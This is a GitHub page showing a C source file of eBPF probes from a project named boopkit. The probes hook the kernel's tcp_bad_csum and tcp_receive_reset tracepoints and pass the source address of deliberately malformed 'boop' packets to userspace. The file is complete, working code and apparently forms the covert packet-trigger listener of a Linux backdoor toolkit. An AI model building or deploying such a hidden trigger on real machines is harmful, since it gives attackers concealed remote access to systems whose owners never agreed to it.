-
Notifications
You must be signed in to change notification settings - Fork 167
/
pr0be.boop.c
138 lines (132 loc) · 5.14 KB
/
pr0be.boop.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
// Copyright © 2022 Kris Nóva <kris@nivenly.com>
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// ███╗ ██╗ ██████╗ ██╗ ██╗ █████╗
// ████╗ ██║██╔═████╗██║ ██║██╔══██╗
// ██╔██╗ ██║██║██╔██║██║ ██║███████║
// ██║╚██╗██║████╔╝██║╚██╗ ██╔╝██╔══██║
// ██║ ╚████║╚██████╔╝ ╚████╔╝ ██║ ██║
// ╚═╝ ╚═══╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═╝
//
// [boops.c]
//
// This file is used to build the eBPF probes that
// will respond to various "boops" from a boop.
//
// This file has one job: get booped and pass __u8 saddr[4]
// to userspace!
//
// clang-format off
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
// clang-format on
#include <netinet/in.h>
#include <stdbool.h>
#include <stdio.h>
#include <string.h>
// clang-format off
#include "boopkit.h"
// clang-format on
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 128);
__type(key, int);
__type(value, struct tcp_return);
} boopproto SEC(".maps");
struct tcp_bad_csum_args_t {
// Here be dragons
//
// The padding here is to offset the embedded IPv4 address
// inside the IPv6 address block. We had to manually buffer
// the struct to get the memory allocation correct for saddr.
//
// We can use various paddings to pull the IPv4 out of the
// fields in memory. Not how the size of sizeof(struct sockaddr_in6)
// in the eBPF format file!
//
//
__u8 headerpadding[16];
__u8 pad1[4];
__u8 saddr[4];
};
// name: tcp_bad_csum
// ID: 1363
// format:
// field:unsigned short common_type; offset:0; size:2; signed:0;
// field:unsigned char common_flags; offset:2; size:1; signed:0;
// field:unsigned char common_preempt_count; offset:3; size:1;
// signed:0; field:int common_pid; offset:4; size:4; signed:1;
//
// field:const void * skbaddr; offset:8; size:8; signed:0;
// field:__u8 saddr[sizeof(struct sockaddr_in6)]; offset:16; size:28;
// signed:0; field:__u8 daddr[sizeof(struct sockaddr_in6)]; offset:44;
// size:28; signed:0;
//
// print fmt: "src=%pISpc dest=%pISpc", REC->saddr, REC->daddr
SEC("tracepoint/tcp/tcp_bad_csum")
int tcp_bad_csum(struct tcp_bad_csum_args_t *args) {
bpf_printk("boopkit: tcp_bad_csum");
int saddrkey = 1;
struct tcp_return ret;
memcpy(ret.saddr, args->saddr, sizeof(args->saddr));
bpf_map_update_elem(&boopproto, &saddrkey, &ret, 1);
return 0;
}
struct tcp_receive_reset_args_t {
__u64 pad1;
__u64 pad2;
__u16 sport;
__u16 dport;
__u16 family;
__u8 saddr[4];
__u8 daddr[4];
// Unused
};
// name: tcp_receive_reset
// ID: 1368
// format:
// field:unsigned short common_type; offset:0; size:2;
// signed:0; field:unsigned char common_flags; offset:2; size:1;
// signed:0; field:unsigned char common_preempt_count; offset:3;
// size:1; signed:0; field:int common_pid; offset:4; size:4;
// signed:1;
//
// field:const void * skaddr; offset:8; size:8; signed:0;
// field:__u16 sport; offset:16; size:2; signed:0;
// field:__u16 dport; offset:18; size:2; signed:0;
// field:__u16 family; offset:20; size:2; signed:0;
// field:__u8 saddr[4]; offset:22; size:4; signed:0;
// field:__u8 daddr[4]; offset:26; size:4; signed:0;
// field:__u8 saddr_v6[16]; offset:30; size:16; signed:0;
// field:__u8 daddr_v6[16]; offset:46; size:16; signed:0;
// field:__u64 sock_cookie; offset:64; size:8; signed:0;
//
// print fmt: "family=%s sport=%hu dport=%hu saddr=%pI4 daddr=%pI4
// saddrv6=%pI6c daddrv6=%pI6c sock_cookie=%llx", __print_symbolic(REC->family,
// { 2, "AF_INET" }, { 10, "AF_INET6" }), REC->sport, REC->dport, REC->saddr,
// REC->daddr, REC->saddr_v6, REC->daddr_v6, REC->sock_cookie
SEC("tracepoint/tcp/tcp_receive_reset")
int tcp_receive_reset(struct tcp_receive_reset_args_t *args) {
bpf_printk("boopkit: tcp_receive_reset");
// bpf_printk("boopkit: tcp_receive_reset saddr=%pI4", args->saddr);
int saddrkey = 1;
struct tcp_return ret;
memcpy(ret.saddr, args->saddr, sizeof(args->saddr));
bpf_map_update_elem(&boopproto, &saddrkey, &ret, 1);
return 0;
}
// SPDX-License-Identifier: GPL-2.0
// The eBPF probe is dual-licensed with GPL because Linux is a fucking shit
// show.
char LICENSE[] SEC("license") = "GPL";